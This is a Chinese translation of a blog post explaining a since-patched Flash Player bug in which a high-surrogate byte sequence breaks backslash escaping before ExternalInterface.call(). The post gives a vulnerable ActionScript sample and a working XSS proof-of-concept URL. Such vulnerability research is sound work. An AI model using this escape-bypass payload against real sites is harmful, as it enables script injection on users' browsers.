原文链接:http://masatokinugawa.l0.cm/2014/05/flash-highsurrogate-xss.html

Flash对文字的处理方式存在缺陷导致即使开发者在Flash文件中采取正确的防御XSS对策,也可能会出现XSS问题。该问题于今年的4月份已经得到了修正。

http://helpx.adobe.com/security/products/flash-player/apsb14-09.html

由于该问题依然会牵扯到 ExternalInterface.call(),所以如果你对这方面还不太熟悉,可能需要先补习一下这方面的知识。

下面是一个会受到这个漏洞影响的例子:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.net.*;

  public class surrogate_xss extends Sprite{
    public function surrogate_xss() {
      var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\");
      ExternalInterface.call("console.log",q);
    }
  }
}

在这个例子当中,首先会将参数q中所包含的“\”通过 split(“\\”).join(“\\\\”)进行置换并带入变量中,再将这个变量提交给ExternalInterface.call()的第二个参数。一般来说,这个对策是完全没有问题的。

但如果我们给变量赋予这样的值,就会引起XSS问题:

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\”))}catch(e){alert(1)}//

在这里重点是前段部分的%ED%A0%80。%ED%A0%80是一个高半代理码点,如果我们对 U+D800 进行UTF-8编码就正好可以得到它。在Flash当中由于对这个高位代理码点处理不当,导致紧随在%ED%A0%80后面的字符会被破坏(其实是会和后面的字符结合到一块,最终变成U+FFFD)。这就是这个BUG的最主要部分。

现在我们通过刚才的swf文件,来看一下产生XSS的流程:

// \被替换为\\  ,U+D800\\”))}catch(e){alert(1)}// 进入变量q
// 在替换前还不会变成U+FFFD
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\");

// 通过变量q来调用console.log
ExternalInterface.call("console.log",q);

// 在这个时候,”在Flash当中会被escape成\”
//由于\不会被escape所以在之前应该是换成了\\才对,但是……悲剧发生了
try{__flash__toXML(console.log("\\"))}catch(e){alert(1)}//"));}catch (e){"<undefined/>"}

除了这种情况外,作者还对一些其它的代码进行了测试,但是并未发现除了 split().join() 和 ExternalInterface.call()的组合之外会产生相同问题的例子。

[原文地址]